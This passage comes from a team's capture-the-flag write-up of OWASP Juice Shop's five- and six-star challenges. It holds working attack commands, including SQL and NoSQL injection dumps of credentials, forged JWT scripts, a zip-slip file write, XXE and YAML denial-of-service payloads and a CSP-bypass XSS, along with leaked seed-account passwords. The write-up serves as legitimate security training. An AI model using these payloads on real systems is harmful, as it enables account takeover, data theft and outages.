      <id>, "captcha": <answer>}'
```

- Verification: challenge solves when feedback/ complaint contains the string epilogue-js.

20. User Credentials (UNION SQLi)

Difficulty: ★★★★★ | Vulnerability class: CWE-89 (UNION-based SQL injection)

- Attack surface: GET /rest/products/search?q= (SQLite, 9-column result set)
- Root cause: The product search interpolates q into a raw SQL LIKE query. A UNION over the Users table returns all account credentials (emails + MD5 password hashes) inside the product result set.
- Exploit: close the search predicate and union the whole user table:

```
curl -k -sG "$BASE/rest/products/search" \
  --data-urlencode "q=x')) UNION SELECT
    id,email,password,4,5,6,7,8,9 FROM Users--"
```

Every seed user's row (e.g. admin@juice-sh.op / 0192023a7bbd73250516f069df18b500) appears in the JSON response.

- Verification: the challenge only solves when the response contains **all** current users' emails *and* password hashes (checked against Users.findAll server-side), so re-run the dump after any new account is registered if the challenge has not flipped yet.

21. GDPR Data Theft (*team activity*)

Difficulty: ★★★★★ | Vulnerability class: CWE-639 (data-theft via identifier collision in data export)

- Attack surface: POST /rest/user/data-export
- Root cause: The GDPR export looks orders up by the **vowel-masked** email (email.replace(/[aeiou]/gi, '*')) instead of by account. Any account whose masked email collides with a victim's inherits their order history — and the verifier flags an order whose orderId prefix does not match the caller's own email hash.
- Exploit (high level): register a colliding account and export *its* data. The documented collision pair is:

```
admin@juice-sh.op -> *dm*n@j**c*-sh.*p
edmen@jaace-sh.ep -> *dm*n@j**c*-sh.*p    <- register this
```

The export is gated by an image CAPTCHA whose plaintext answer is readable via the search SQLi (reads the ImageCaptchas table):

```
q=x')) UNION SELECT id,answer,image,4,5,6,7,8,9 FROM
ImageCaptchas ORDER BY id DESC--
```

- Verification: the returned `userData` contains orders whose `orderId` prefix differs from the attacker's own email hash (admin's order data leaked); challenge solves from that foreign order row.

22. Leaked Unsafe Product (*team activity*)

Difficulty: ★★★★★ | Vulnerability class: CWE-538 / OSINT data leak (DLP)

- Attack surface: `POST /api/Complaints/` — "inform the shop"
- Root cause: An unsafe product that was removed from the catalogue had its data (including its dangerous ingredients) leaked to a public paste platform. The deleted row is recoverable via the search SQLi and cross references the paste.
- Exploit (high level): via the UNION SQLi, list soft-deleted products (`deletedAt IS NOT NULL`) and identify the product whose description flags it as removed "because of lack of safety standards"; hunt the leaked ingredient names on the same paste platform used for other leaked data; then inform the shop with a complaint naming the dangerous ingredients.
- Verification: the complaint message matching the documented ingredient keywords flips the challenge on the next verification pass.

23. Login Cloud Admin (*team activity*)

Difficulty: ★★★★★ | Vulnerability class: CWE-798 (hard-coded cryptographic key) + CWE-287 (authentication bypass)

- Attack surface: `/infrastructure/*` IaC files + authenticated routes (Bearer JWT)
- Root cause: Sensitive IaC material (Terraform) was deployed into the web-served `/infrastructure` folder and leaks the RSA key material needed to mint JWTs. The cloud-admin account (`cloud-admin@juice-sh.op`, role `admin`) never needs its strong password — an attacker who can sign tokens reaches it.
- Exploit (high level): download the IaC file from `/infrastructure`, extract the leaked RSA private key, and sign an **RS256** JWT whose payload claims email: `cloud-admin@...` (+ `admin` role); send it as `Authorization: Bearer` on any authenticated request. Signing must be RS256 — the verifier checks the algorithm and the `/cloud-admin@/` email pattern in the token.

- Verification: the jwtChallenge verifier accepts the forged token on a normal request and the challenge solves (no password needed).

24. Expired Coupon (*team activity*)

Difficulty: ★★★★★ | Vulnerability class: CWE-841 (business-logic / time-validation flaw)

- Attack surface: basket checkout coupon handling (POST /rest/basket/:id/checkout with couponData)
- Root cause: The checkout accepts an optional couponData blob (Base64 of code-<timestamp>) and validates it by *comparing the embedded timestamp against a campaign's fixed date with loose equality* — it never rejects campaigns whose date has already passed. A coupon whose embedded timestamp references an **expired/past campaign** is therefore still honoured, and the challenge marks the redemption as abuse.
- Exploit (high level): identify a past special-event/holiday campaign of the shop (background in the historical coupon backup from challenge 7), then submit its code with the matching old timestamp as couponData during checkout so the discount applies.
- Verification: checkout succeeds with the expired campaign discount applied; the verifier confirms the campaign's validOn is in the past of the server clock and solves the challenge.

25. NoSQL DoS

Difficulty: ★★★★★ | Vulnerability class: CWE-943 (NoSQL injection → denial of service)

- Attack surface: GET /rest/products/:id/reviews (Mongo \$where injection)
- Root cause: With the challenge enabled, the review endpoint interpolates the product id directly into { \$where: 'this.product == ' + id } and exposes a global sleep() helper. \$where is evaluated **once per document**, so a single sleep() call multiplies across the whole reviews collection — sleep(2000) stalls the request and gets the pod killed (this caused one instance restart).
- Exploit: calibrate instead — a small per-document sleep that clears the 2000 ms solve threshold without hanging the pod:

```
time curl -k -s "$BASE/rest/products/sleep(80)/reviews"
```

Each review document sleeps 80 ms; with ~40 reviews the request totals ~3 s — over the 2 s solve threshold — and the instance stays up. (sleep clamps each call at 2000 ms, so large values merely make the total worse, not the flag better.)

- Verification: response takes > 2000 ms end-to-end (the route measures $t_1 - t_0$ around the query) and the challenge solves without the instance restarting.

26. CSP Bypass (*team activity*)

Difficulty: ★★★★★ | Vulnerability class: CWE-79 (XSS) + CWE-693 (CSP injection) + CWE-116 (regex sanitizer bypass)

- Attack surface: /profile/image/url (profileImage), POST /profile (username), GET /profile (legacy Pug page)
- Root cause: Two flaws collide on the legacy profile page. (1) The page's CSP is built by string interpolation — ``img-src 'self' ${profileImage}; script-src 'self'`` — so a crafted profileImage **injects a second, permissive script-src**. (2) The username field is scrubbed by the deliberately weak sanitizeLegacy regex `/<(?:\w+)\W+?[\w]/gi`, which can be defeated by a self-reassembling payload.
- Exploit (high level):
 1. Set the profile image URL so it survives as the raw URL *and* extends the CSP with an unsafe inline allowance:

```
https://placeholder.co/100.png; script-src 'unsafe-inline'
```

(POST /profile/image/url stores the raw value when the fetch fails; the injected header matches `/;[ ]*script-src(.)*'unsafe-inline'/.`)

2. Set the username to a payload whose removed span reassembles into the exact attack string after sanitizeLegacy runs:

```
<<a>script>alert(`xss`)</script>
```

Survivors recombine to `<script>alert(\xss)``.

3. GET /profile: the page is served under the weakened CSP and executes the script.
- Verification: request response carries Content-Security-Policy: `img-src 'self' https://placeholder.co/100.png; script-src 'unsafe-inline'; script-src 'self' 'unsafe-eval'`; the username check (`username.includes('<script>alert(\xss)`')`) plus the CSP regex both pass, and the alert fires in the legacy profile view.
-

5-Star Challenges (★★★★★)

Writeups for the nineteen five-star challenges documented in `./JUICE.md` under "5-Star Findings" (#79–#97). **Register cross-check:** the register line ★★★★★ (19) : enumerates exactly these nineteen challenges (Change Bender's Password, Leaked Access Logs, Email Leak, Extra Language, Unsigned JWT, Leaked API Key, Local File Read, NoSQL Exfiltration, Blocked RCE DoS, Reset Bjoern's Password, Reset Morty's Password, Retrieve Blueprint, Supply Chain Attack, Cross-Site Imaging, Blockchain Hype, Two Factor Authentication, Frontend Typosquatting, XXE DoS, Memory Bomb) — no omissions, no extras. Entries marked (*team activity*) were solved on the shared team instance and are written at register level.

Summary

1. Reset Bjoern's (internal) Password
2. Reset Morty's Password
3. Email Leak (*team activity*)
4. Extra Language
5. Unsigned JWT (*team activity*)
6. NoSQL Exfiltration (orders) (*team activity*)
7. Leaked Access Logs (password spraying)
8. Local File Read
9. Blocked RCE DoS
10. Memory Bomb (YAML)
11. Change Bender's Password (*team activity*)
12. Retrieve Blueprint (*team activity*)
13. Supply Chain Attack (*team activity*)
14. Cross-Site Imaging (SVG)
15. Blockchain Hype (token sale) (*team activity*)
16. Two Factor Authentication (*team activity*)
17. Frontend Typosquatting (Angular) (*team activity*)
18. XXE DoS
19. Leaked API Key (*team activity*)

Prerequisites. Instance = OWASP Juice Shop v20.2.0 behind the MultiJuicer reverse proxy (\$BASE_URL). Attach the team multi-juicer session cookie to every request (live proxy hostname) or every path 302s to /multi-juicer. Auth split: most /rest+/api accept Authorization: Bearer <jwt>; /rest/user/whoami, /profile, /dataerasure read the JWT from the token cookie, which

is validated against an in-memory auth store — re-login after any instance restart. Re-check `/api/Challenges/` before and after each attempt; the sandboxed DoS challenges (RCE/XML/YAML) are safe to run (graceful 503/guarded), unlike the Mongo `sleep()` crash.

1. Reset Bjoern's (internal) Password

Difficulty: ★★★★★ | Vulnerability class: Weak password-recovery mechanism (CWE-640)

- Attack surface: GET `/rest/user/security-question?email=` and POST `/rest/user/reset-password`
- Root cause: The reset flow trusts the plaintext answer to a "secret" question. Bjoern's *internal* account (bjoern@juice-sh.op) answers truthfully but with an OSINT-derivable fact with a "historical twist": **West-2082**, the old postal code of his hometown Uetersen. Answers are only stored as HMAC-SHA256(answer, '<static key>'), so no real step-up protects the reset.
- Exploit:

```
curl -s "$BASE_URL/rest/user/security-question?email=bjoern@juice-sh.op"
curl -s -X POST "$BASE_URL/rest/user/reset-password" -H 'Content-Type: application/json' \
  --data-binary '{"email":"bjoern@juice-sh.op","answer":"West-2082","new":"<newpw>","repeat":"<newpw>"}'
curl -s -X POST "$BASE_URL/rest/user/login" -H 'Content-Type: application/json' \
  --data-binary '{"email":"bjoern@juice-sh.op","password":"<newpw>"}'
```

- Verification: Reset returns `{"user": ...}`, the follow-up login returns a valid JWT, and GET `/api/Challenges/` shows the reset challenge solved (answer + account match the verifier exactly).

2. Reset Morty's Password

Difficulty: ★★★★★ | Vulnerability class: Weak/obfuscated security answer + bypassable rate limit (CWE-640, CWE-307)

- Attack surface: POST `/rest/user/reset-password`
- Root cause: Morty answered his security question truthfully but *obfuscated* it: his dog is **Snowball** → leetspeak **5N0wb41L** (answers are again just HMAC-checked). The reset endpoint's rate limiter

keys on the spoofable X-Forwarded-For header (100 tries / 5 min), so even a brute force of the short answer would be feasible.

- Exploit:

```
curl -s -X POST "$BASE_URL/rest/user/reset-password" -H
'Content-Type: application/json' \
--data-binary '{"email":"morty@juice-
sh.op", "answer":"5N0wb41L", "new":"<newpw>", "repeat":"<newpw>"}'
curl -s -X POST "$BASE_URL/rest/user/login" -H 'Content-Type:
application/json' \
--data-binary '{"email":"morty@juice-
sh.op", "password":"<newpw>"}'
```

- Verification: Reset accepts the leet answer (`{"user": ...}`), login with the new password succeeds, and the reset challenge flips in `/api/Challenges/`.

3. Email Leak (*team activity*)

Difficulty: ★★★★★ | Vulnerability class: Cross-domain information disclosure via JSONP (CWE-200 / CWE-346)

- Attack surface: GET `/rest/user/whoami?callback=cb` (cookie-authenticated)
- Root cause: The whoami endpoint answers to a reflective callback query parameter with a real JSONP response (`res.jsonp`), i.e. user PII is served as executable JavaScript. That is an old, no-longer-recommended way to move data cross-domain: a script tag from any other origin carries the user's cookies and hands the wrapped identity object to the attacker's callback. Register-level: the email of an *extra* (non-UI) account was disclosed this way.
- Exploit: while holding a valid session, load the identity endpoint with a callback and consume it from a second origin:

```
GET /rest/user/whoami?callback=steal
-> steal({"user":{"email":"<extra-user>@juice-sh.op", ...}})
```

- Verification: The JSONP response is served (content-type `application/javascript`) and the Email Leak challenge appears solved on the score board.

4. Extra Language

Difficulty: ★★★★★ | Vulnerability class: Incomplete allowlist / exposed unshipped assets (CWE-184)

- Attack surface: GET /assets/i18n/tlh_AA.json
- Root cause: Language packs are served straight off disk with no allowlist. The Klingon translation tlh_AA.json ships inside the frontend bundle but was deliberately left out of production: /rest/languages (built from the same directory) explicitly excludes en.json and tlh_AA.json from the picker. Requesting the pack that "never made it into production" is the intended disclosure.
- Exploit:

```
curl -i "$BASE_URL/assets/i18n/tlh_AA.json" # 200,  
      Klingon strings
```

(Equivalent UI path: switch the language selector — Klingon is absent, hence the direct request.)

- Verification: The server-side verifier fires on any URL ending in /tlh_AA.json; the file is returned and Extra Language flips to solved.

5. Unsigned JWT (*team activity*)

Difficulty: ★★★★★ | Vulnerability class: JWT signature verification bypass / alg:none (CWE-347, vulnerable component)

- Attack surface: any authenticated route reading a JWT (Authorization: Bearer, token cookie, or SPA localStorage['token'])
- Root cause: The app pins a legacy JWT library (jsonwebtoken 0.4.0) whose verify() accepts tokens with alg: none and an empty signature. A forged unsigned token impersonating the non-existing user **jwt3d@juice-sh.op** is treated as valid, so no signing key is ever needed.
- Exploit:

```
python3 - <<'EOF'  
import base64, json  
def b64(o): return  
    base64.urlsafe_b64encode(json.dumps(o, separators=(',', ':')).encode())  
h = b64({"alg": "none", "typ": "JWT"})  
p = b64({"data": {"email": "jwt3d@juice-  
    sh.op"}, "iat": 1508639612, "exp": 9999999999})  
print(f"{h.decode()}.{p.decode()}")  
EOF
```

Set the result as `localStorage['token']` (playwright `addInitScript`) or send it on a protected call, e.g. `GET /rest/user/whoami` with `Cookie: token=<forged>`.

- Verification: The request is accepted (no signature error) and the verifier — which matches `header.alg === 'none'` plus the `jwt3d@` email on any incoming token — solves Unsigned JWT.

6. NoSQL Exfiltration (orders) (*team activity*)

Difficulty: ★★★★★ | Vulnerability class: NoSQL injection in \$where (CWE-943)

- Attack surface: `GET /rest/track-order/:id`
- Root cause: The single-order lookup builds its Mongo query from the raw route parameter: `ordersCollection.find({ $where: "this.orderId === '<id>' " })`. Injecting into that JavaScript predicate negates the equality and makes the "deliver a single order" endpoint return **more than one row** — including orders that are not ours. (The verifier literally requires `result.data.length > 1`.)

- Exploit:

```
id = '||'1'=='1
```

```
curl -s --path-as-is "$BASE_URL/rest/track-order/  
%27%7C%7C%271%27%3D%3D%271"
```

- Verification: The JSON response contains every stored order (`data.length > 1`, mixed `orderId` prefixes), i.e. cross-user order data is exfiltrated, and NoSQL Exfiltration is solved.

7. Leaked Access Logs (password spraying)

Difficulty: ★★★★★ | Vulnerability class: Log-file disclosure → credential reuse/spraying (CWE-532, CWE-521)

- Attack surface: `GET /support/logs/` + `GET /support/logs/:file`, then `POST /rest/user/login`
- Root cause: The server log directory is publicly browsable and served (`logs/*`), so the access log — and the publicly dumped copy of it that this challenge is built around — leaks a plaintext credential pair for an *original* (non-default) account. Reusing that

password against the real account is the "dumpster-dive + password spraying" intended path.

- Exploit:

```
curl -s "$BASE_URL/support/logs/" # dir
    listing (solves 4+ Access Log)
curl -s "$BASE_URL/support/logs/access.log" > access.log
grep -iE "password|login" access.log #
    harvest the leaked pair
```

Spray the recovered credential at login (send via body file to avoid shell mangling of \$/§):

```
printf '{"email":"J12934@juice-
sh.op","password":"0Y8rMnww$*9VFYE$59-!Fg1L6t&6lB"}'
> login.json
curl -s -X POST "$BASE_URL/rest/user/login" -H 'Content-Type:
application/json' --data-binary @login.json
```

- Verification: Login returns {"authentication":{"token":...}} (J12934 is an admin seed account) and Leaked Access Logs flips to solved — creating a fresh account with the same password does *not* qualify.

8. Local File Read

Difficulty: ★★★★★ | Vulnerability class: Server-side file read via template layout (CWE-98)

- Attack surface: POST /dataerasure (cookie token auth)
- Root cause: The GDPR erasure POST passes the attacker-controlled layout body parameter straight into Handlebars view rendering, so the referenced file is read from disk as the layout template and its beginning is echoed back. The only filter blacklists paths containing ftp, ctf.key or encryptionkeys; everything else on the server is fair game. Response is a **100-char preview** (html.slice(0,100)).
- Exploit (use a throwaway account — the POST also files a deletion request and clears the cookie):

```
curl -s -X POST "$BASE_URL/dataerasure" -H "Cookie:
token=$TOK" \
--data-urlencode 'layout=/juice-shop/package.json'
```

- Verification: The response previews the beginning of the app manifest, confirming the read of /juice-shop/package.json — this is how **v20.2.0** was fingerprinted — and Local File Read is solved. Any server file readable by the process works the same way (100-

char preview; bulk source review was cross-referenced against the pinned release instead).

9. Blocked RCE DoS

Difficulty: ★★★★★ | Vulnerability class: Sandboxed code injection → DoS, guarded (CWE-94)

- Attack surface: `POST /b2b/v2/orders` (Bearer auth)
- Root cause: `orderLinesData` is evaluated as JavaScript with `notevil` inside a vm (2 s timeout). `notevil` defends itself by capping iterations, so a naive infinite loop never reaches the timeout — it is caught by the sandbox itself.
- Exploit:

```
printf '{"cid":"x","orderLinesData":"while(true){}"}' >
    rce.json
curl -s -X POST "$BASE_URL/b2b/v2/orders" -H "Authorization:
    Bearer $TOK" \
    -H 'Content-Type: application/json' --data-binary @rce.json
```

- Verification: The eval aborts with Infinite loop detected - reached max iterations, exactly the error the verifier watches for, and Blocked RCE DoS is solved while the instance stays up. **Contrast (6★ Successful RCE DoS):** an infinite loop never reaches the 2 s vm timeout; a *finite but slow* payload does — catastrophic regex backtracking, `orderLinesData: "/((a+)+)b/.test('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!')`, times out the vm and returns 503 Script execution timed out.

10. Memory Bomb (YAML)

Difficulty: ★★★★★ | Vulnerability class: Unsafe YAML deserialization → resource exhaustion (CWE-502)

- Attack surface: `POST /file-upload` (multipart, field `file`, `.yaml/.yml`)
- Root cause: Uploaded YAML is parsed with `js-yaml` inside a vm (2 s timeout). YAML alias references are expanded into copies, so a nested alias-expansion bomb ("billion laughs") balloons into an unmanageable string — the parse throws Invalid string length or times out.
- Exploit — `bomb.yaml`:

```
a: &a ["x","x","x","x","x","x","x","x","x","x"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a,*a]
```

```

c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f,*f]

```

```
curl -s -F "file=@bomb.yml" "$BASE_URL/file-upload"
```

- Verification: The upload returns a graceful 503 Sorry, we are temporarily not available! and Memory Bomb is solved. The sandboxed failure is safe — unlike the Mongo sleep() DoS this never took the pod down.

11. Change Bender's Password (*team activity*)

Difficulty: ★★★★★ | Vulnerability class: Unverified password change (CWE-620)

- Attack surface: GET /rest/user/change-password?current=&new=&repeat= (Bearer auth)
- Root cause: The change-password handler only checks the current password *if the parameter is supplied at all* and only against the authenticated user's own record. Register-level: with an authenticated Bender session (id 3, obtained via his earlier recovered/history-leaked password — the "password-history/leak bypass", no SQLi, no Forgot Password) the endpoint will happily set new while current is omitted.
- Exploit:

```

curl -s "$BASE_URL/rest/user/change-password?
      new=slurmCl4ssic&repeat=slurmCl4ssic" \
-H "Authorization: Bearer $BENDER_TOKEN"

```

- Verification: {"user":...} is returned with the updated account; the verifier (user id 3, no current, password hash == slurmCl4ssic) flips Change Bender's Password. A follow-up login as bender@juice-sh.op / slurmCl4ssic succeeds.

12. Retrieve Blueprint (*team activity*)

Difficulty: ★★★★★ | Vulnerability class: Sensitive data exposure — unlisted product asset (CWE-200)

- Attack surface: GET /assets/public/images/products/JuiceShop.stl

- Root cause: The 3D-printable **OWASP Juice Shop Logo (3D-printed)** product has an industrial blueprint: an STL file shipped inside the public web assets, unlinked from any UI. Register-level: downloading that internal blueprint deprives the shop of earnings from the 3D-print product.
- Exploit:

```
curl -sO "$BASE_URL/assets/public/images/products/JuiceShop.stl"
```

- Verification: A binary STL (solid ... header) is downloaded and Retrieve Blueprint flips to solved (the verifier matches any request whose URL ends in the blueprint filename).

13. Supply Chain Attack (*team activity*)

Difficulty: ★★★★★ | Vulnerability class: Malicious third-party component in the dev toolchain (CWE-1104)

- Attack surface: report submission via POST /api/Complaints (Bearer auth); verifier scans feedback + complaints
- Root cause: Register-level: the *development team's* credentials were at risk through a genuine supply-chain incident — the 2018 malicious publish of the npm package **eslint-scope** (v3.7.2) that exfiltrated developers' .npmrc credentials. It affects only the shop's developers, never its customers, hence the "inform the development team" wording.
- Exploit: report the upstream identifier so the scanner matches it:

```
printf '{"message":"eslint-scope/issues/39 - malicious\nnpm:eslint-scope:20180712 release"}' > report.json
curl -s -X POST "$BASE_URL/api/Complaints" -H "Authorization: Bearer $TOK" \
  -H 'Content-Type: application/json' --data-binary @report.json
```

- Verification: The pattern scan (%eslint-scope/issues/39%/%npm:eslint-scope:20180712%) matches on the next request and Supply Chain Attack is solved.

it. The team engaged the sale through a wallet interaction (buy/sell of the offered token) rather than only viewing the announcement material.

- Exploit: (register level) connected a funded wallet, approved/ participated in the token-sale interaction, and observed the shop register the participation.
- Verification: Score board shows Blockchain Hype solved after the wallet interaction.

16. Two Factor Authentication (*team activity*)

Difficulty: ★★★★★ | Vulnerability class: Insecurely stored TOTP secrets (CWE-522)

- Attack surface: POST /rest/user/login, the SQLi user-credentials dump, POST /rest/2fa/verify
- Root cause: Register-level: the 2FA *secret itself* (totpSecret) is stored in plaintext in the Users table and is readable through the existing SQLi user-credentials primitive — exactly the "critically sensitive" part of TOTP. Disabling/overwriting 2FA does not count; the verifier only solves when a *valid* TOTP is submitted for the seed user **wurstbrot**.

- Exploit:

1. Log in with the seed account's credentials (password is part of the public 24-user seed) — the login returns 401
{"status": "totp_token_required", data: {tmpToken: ...}}:

```
printf '{"email": "wurstbrot@juice-  
sh.op", "password": "EinBelegtesBrotMitSchinkenSCHINKEN!"}'  
> l.json  
curl -s -X POST "$BASE_URL/rest/user/login" -H 'Content-  
Type: application/json' --data-binary @l.json
```

2. Read wurstbrot's totpSecret from Users via the UNION-based credentials dump (see ★★★★★ User Credentials; observed value IFTXE3SP0EYVURT2MRYGI52TKJ4HC3KH).
3. Compute the current code and verify:

```
oathtool --totp --base32 IFTXE3SP0EYVURT2MRYGI52TKJ4HC3KH  
curl -s -X POST "$BASE_URL/rest/2fa/verify" -H 'Content-  
Type: application/json' \  
--data-binary '{"tmpToken": "<from step  
1>", "totpToken": "<code>"}'
```

- Verification: 2fa/verify returns a real session token (`{"authentication":{...}}`) and Two Factor Authentication flips to solved — the TOTP was validated against the *stored* secret, not a bypass.

17. Frontend Typosquatting (Angular) (*team activity*)

Difficulty: ★★★★★ | Vulnerability class: Typosquatted frontend dependency (supply chain, CWE-1104)

- Attack surface: report submission via `POST /api/Complaints` (Bearer auth); verifier scans feedback + complaints
- Root cause: Register-level: a typosquatting imposter dug deep into the *frontend* build — a lookalike Angular package masquerading as the legitimate `@ngx-cookie(-service)` library. Its exact name had to be reported to the shop.
- Exploit: report the exact culprit name:

```
printf '{"message":"frontend ships typosquatted package ngx-
cookie"}' > report.json
curl -s -X POST "$BASE_URL/api/Complaints" -H "Authorization:
Bearer $TOK" \
-H 'Content-Type: application/json' --data-binary
@report.json
```

- Verification: The pattern scan for `%ngx-cookie%` matches on the next request and Frontend Typosquatting is solved.

18. XXE DoS

Difficulty: ★★★★★ | Vulnerability class: XXE → denial of service (CWE-611 / CWE-776)

- Attack surface: `POST /file-upload` (multipart, field `file`, `.xml`)
- Root cause: The deprecated B2B XML upload is parsed by `libxml2-wasm` inside a vm with a 2 s timeout. A classic billion-laughs entity bomb does **not** work — `libxml2` expands it well inside the budget and the handler returns 410. The reliable trigger is a *blocking read*: referencing an entity that never returns stalls the parse until Script execution timed out.
- Exploit — `x.xml`:

```
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY x SYSTEM "file:///dev/random"> ]>
<foo>&x;</foo>
```

```
curl -s -F "file=@x.xml" "$BASE_URL/file-upload"
```

- Verification: The upload returns 503 Sorry, we are temporarily not available! (Script execution timed out behind the scenes) and XXE DoS is solved while the instance stays healthy.

19. Leaked API Key (*team activity*)

Difficulty: ★★★★★ | Vulnerability class: Exposed credential for external automation (CWE-798)

- Attack surface: report submission via POST /api/Complaints (Bearer auth); verifier scans feedback + complaints
- Root cause: Register-level: an API key belonging to a scheduled, "behind the scenes" automation (entirely outside the web application) was found exposed in the shop's public footprint. The shop had to be told the exact key.
- Exploit: report the exact leaked key:

```
printf '{"message":"leaked API key
6PPi37DBxP4lDwlriuaxP15HaDJpsUXY5TspVmie"}' >
report.json
curl -s -X POST "$BASE_URL/api/Complaints" -H "Authorization:
Bearer $TOK" \
-H 'Content-Type: application/json' --data-binary
@report.json
```

- Verification: The verifier matches the literal key 6PPi37DBxP4lDwlriuaxP15HaDJpsUXY5TspVmie and Leaked API Key flips to solved on the next request.

6-Star Challenges — ★★★★★★ (11)

Prerequisites. Instance: OWASP Juice Shop v20.2.0 behind a MultiJuicer proxy. Every request needs the team multi-juicer session cookie and the instance hostname (both <redacted>); <base> below stands for the app origin. Two auth channels: Authorization: Bearer <JWT> for most /rest+/api routes,

Cookie: token=<JWT> for the HTML routes (/profile, /rest/user/whoami). Cookie auth lives in an in-memory store — re-login after an instance restart. Findings map to JUICE.md items 98–108; items 109–111 (wallet/nft cluster, incl. blocked ★★★★★★ *Wallet Depletion*) are not part of the solved register and are documented in blocked-challenges.md.

1. Imaginary Challenge — JUICE.md 103
 2. Arbitrary File Write — JUICE.md 102
 3. Forged Coupon — JUICE.md 104
 4. Forged Signed JWT — JUICE.md 105
 5. Login Support Team — JUICE.md 98
 6. Premium Paywall — JUICE.md 106
 7. Successful RCE DoS — JUICE.md 101
 8. SSRF — JUICE.md 100
 9. SSTi — JUICE.md 99
 10. Multiple Likes — JUICE.md 107
 11. Video XSS — JUICE.md 108
-

1. Imaginary Challenge

Difficulty: ★★★★★★ | Vulnerability class: CWE-345 Insufficient Verification of Data Authenticity (forgeable Hashids)

- Attack surface: GET /rest/continue-code, PUT /rest/continue-code/apply/:code
- Root cause: progress ("continue") codes are reversible Hashids whose parameters are static application data — salt this is my salt, minimum length 60, alphabet a-zA-Z0-9. Applying a code merely decodes and records the encoded challenge ids; the ids are never checked to exist, so encoding a non-existent id "solves" an imaginary challenge without mutating any real challenge state.
- Exploit:

```
import hashids
h = hashids.Hashids(salt='this is my salt', min_length=60,

                    alphabet='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
print(h.encode(999))

curl -X PUT "<base>/rest/continue-code/apply/<code>" -H
    "Authorization: Bearer $TOKEN"
```


- Verification: *Imaginary Challenge* flips to solved on the score-board while no other challenge's state changes. (*team activity*)

2. Arbitrary File Write

Difficulty: ★★★★★★ | Vulnerability class: CWE-22 Path Traversal / CWE-434 Unrestricted Upload (zip-slip)

- Attack surface: POST /file-upload (multipart file, ZIP archive)
- Root cause: server-side ZIP extraction writes archive entries into the upload directory without sanitising .., so a member named ../../ftp/legal.md escapes the extraction directory and overwrites the shop's own ftp/legal.md.
- Exploit:

```
from zipfile import ZipFile
with ZipFile('/tmp/slip.zip', 'w') as z:
    z.writestr('../../ftp/legal.md', 'overwritten by zip-slip')
```

```
curl -X POST "<base>/file-upload" -H "Authorization: Bearer $TOKEN" -F "file=@/tmp/slip.zip"
```

- Verification: GET <base>/ftp/legal.md returns the overwritten content and the challenge is confirmed solved.

3. Forged Coupon

Difficulty: ★★★★★★ | Vulnerability class: CWE-347 Improper Verification of Cryptographic Signature

- Attack surface: POST /rest/basket/:id/coupon (couponCode)
- Root cause: coupon validation trusts an in-app code/signing scheme rather than a server-side issuance list; the scheme can be reproduced, so signed discount codes the shop never issued are accepted.
- Exploit (doc level):
 1. Collect legitimate coupon codes (coupon/sales material already exposed via earlier findings, e.g. the forgotten sales backup) and infer the code-to-discount derivation.
 2. Generate a signed code that yields a discount without having been legitimately issued.
 3. Add items to a basket, apply the forged code via the coupon endpoint, and check out so the discount is reflected.

- Verification: the server accepts the code and applies the discount; the challenge is registered as solved on the shared instance. (*team activity*)

4. Forged Signed JWT

Difficulty: ★★★★★★ | Vulnerability class: CWE-347 Improper Verification of Signature (JWT algorithm confusion)

- Attack surface: GET /encryptionkeys/jwt.pub; forged token replayed as Authorization: Bearer on any authenticated route
- Root cause: the verifier trusts the JWT alg header. With alg: HS256 the token is checked against a symmetric secret — which is the raw **RSA public-key file bytes** from the world-readable / encryptionkeys/jwt.pub — so anyone can mint an HS256 token for any identity (key/algorithm confusion).
- Exploit:

```
curl -s "<base>/encryptionkeys/jwt.pub" -o jwt.pub

import base64, hashlib, hmac, json
b = lambda x: base64.urlsafe_b64encode(x).rstrip(b'=')
h = b(json.dumps({'alg': 'HS256', 'typ': 'JWT'}).encode())
p = b(json.dumps({'email': 'rsa_lord@juice-sh.op'}).encode())
sig = hmac.new(open('jwt.pub', 'rb').read(),
               f'{h.decode()}.{p.decode()}.encode()',
               hashlib.sha256).digest()
print(f'{h.decode()}.{p.decode()}.{b(sig).decode()}')
```

(PyJWT refuses this on purpose — the token is built by hand, as above.)

```
curl "<base>/rest/user/whoami" -H "Authorization: Bearer
    <forged>"
```

- Verification: the request authenticates as rsa_lord@juice-sh.op; the challenge is registered as solved on the shared instance. (*team activity*)

5. Login Support Team

Difficulty: ★★★★★★ | Vulnerability class: CWE-798 Use of Hard-coded / Leaked Credentials

- Attack surface: POST /rest/user/login

- Root cause: the support-team account password leaked in app-reachable material; logging in with it satisfies the credential check.
- Exploit (body from a file — the password contains shell metacharacters):

```
{"email": "support@juice-sh.op", "password": "J6aVjTg0pRs@?5l!Zkq2AYnCE@RF$P"}
```

```
curl -s -X POST "<base>/rest/user/login" -H "Content-Type: application/json" --data-binary @login.json
```

- Verification: HTTP 200 returning an authentication.token; *Login Support Team* flips to solved.

6. Premium Paywall

Difficulty: ★★★★★★ | Vulnerability class: CWE-284 Improper Access Control (client-side content gate)

- Attack surface: deluxe/premium membership area of the SPA and its gated content
- Root cause: entitlement for premium/deluxe content is enforced by a client-side gate; the server does not re-validate the entitlement when the gated content is served, so the paywall can be bypassed without a valid payment.
- Exploit (doc level):
 1. Walk the deluxe/premium upgrade flow and observe where the content gate is decided.
 2. Reach the gated content without a paid upgrade (tamper the client-side entitlement state, jump the gate directly, or reuse an already-entitled session).
 3. Confirm the premium content renders fully.
- Verification: premium content accessible without paying; the challenge is registered as solved on the shared instance. (*team activity*)

7. Successful RCE DoS

Difficulty: ★★★★★★ | Vulnerability class: CWE-94 Code Injection / CWE-400 Uncontrolled Resource Consumption

- Attack surface: POST /b2b/v2/orders (orderLinesData)
- Root cause: orderLinesData is evaluated with notevil inside a node:vm sandbox with a 2 s timeout. An infinite loop never reaches

that timeout — notevil's own loop guard rejects it first (Infinite loop detected; that is the 5-star *Blocked RCE DoS* variant). To trigger the timeout the payload must terminate yet run slowly: catastrophic regex backtracking.

- Exploit:

```
